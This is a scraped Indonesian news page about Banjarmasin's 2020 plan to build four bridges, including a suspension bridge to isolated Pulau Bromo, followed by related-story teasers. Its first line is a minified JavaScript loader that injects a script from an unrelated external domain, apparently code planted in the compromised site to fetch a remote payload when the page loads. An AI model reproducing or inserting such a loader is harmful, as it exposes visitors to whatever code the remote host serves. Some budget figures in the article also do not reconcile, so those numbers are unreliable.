(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Pemko Banjarmasin melalui Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) mengalokasikan anggaran Rp114 miliar untuk membangun empat jembatan pada 2020.
Kepala Dispupr Kota Banjarmasin Arifin Noor mengatakan, empat jembatan yang akan dibangun yakni, jembatan gantung di pulau Bromo sebesar Rp 47 miliar.
Kemudian jembatan HKSN atau pergantian konstruksi jembatan di samping Makam Sultan Suriansyah di Kuin sebesar Rp 42 miliar.
“Meskipun pagu pembangunan jembatan itu sebesar Rp66 miliar, tapi akan dikerjakan bertahap,” bebernya.
Selanjutnya, ungkap dia, pembangunan jembatan di Jalan Sulawesi di Banjarmasin Utara sebesar Rp15 miliar. “Terakhir itu jembatan Teluk Kelayan yang kita anggarkan sebesar Rp12 miliar,” ujar Arifin Noor.
Keempat jembatan itu memang jadi prioritas untuk pembangunan tahun ini, hingga targetnya sudah bisa beroperasi pada 2021. “Ini sebagai upaya pemerintah kota agar akses lalulintas terpenuhi dengan baik semuanya, khususnya untuk pembangunan jembatan di pulau Bromo yang memang terisolasi sejak lama warga di pulau tersebut,” terangnya.
Dia mengatakan, ada ribuan warga di pulau Bromo tersebut tidak dapat akses jalan darat, bertahun-tahun mereka harus pergi ke kota lewat transportasi sungai.
“Karena jarak sungai yang dibentangi jembatan itu cukup luas, maka hanya dibangunkan jembatan gantung, yang hanya bisa dilalui kendaraan roda dua,” pungkasnya.(antara)
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More
KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More
KANALKALIMANTAN.COM, SOLO - Kerajinan dari rotan merah menjadi salah satu primadona yang dihadirkan Dewan Kerajinan… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More
Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More
KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More
This website uses cookies.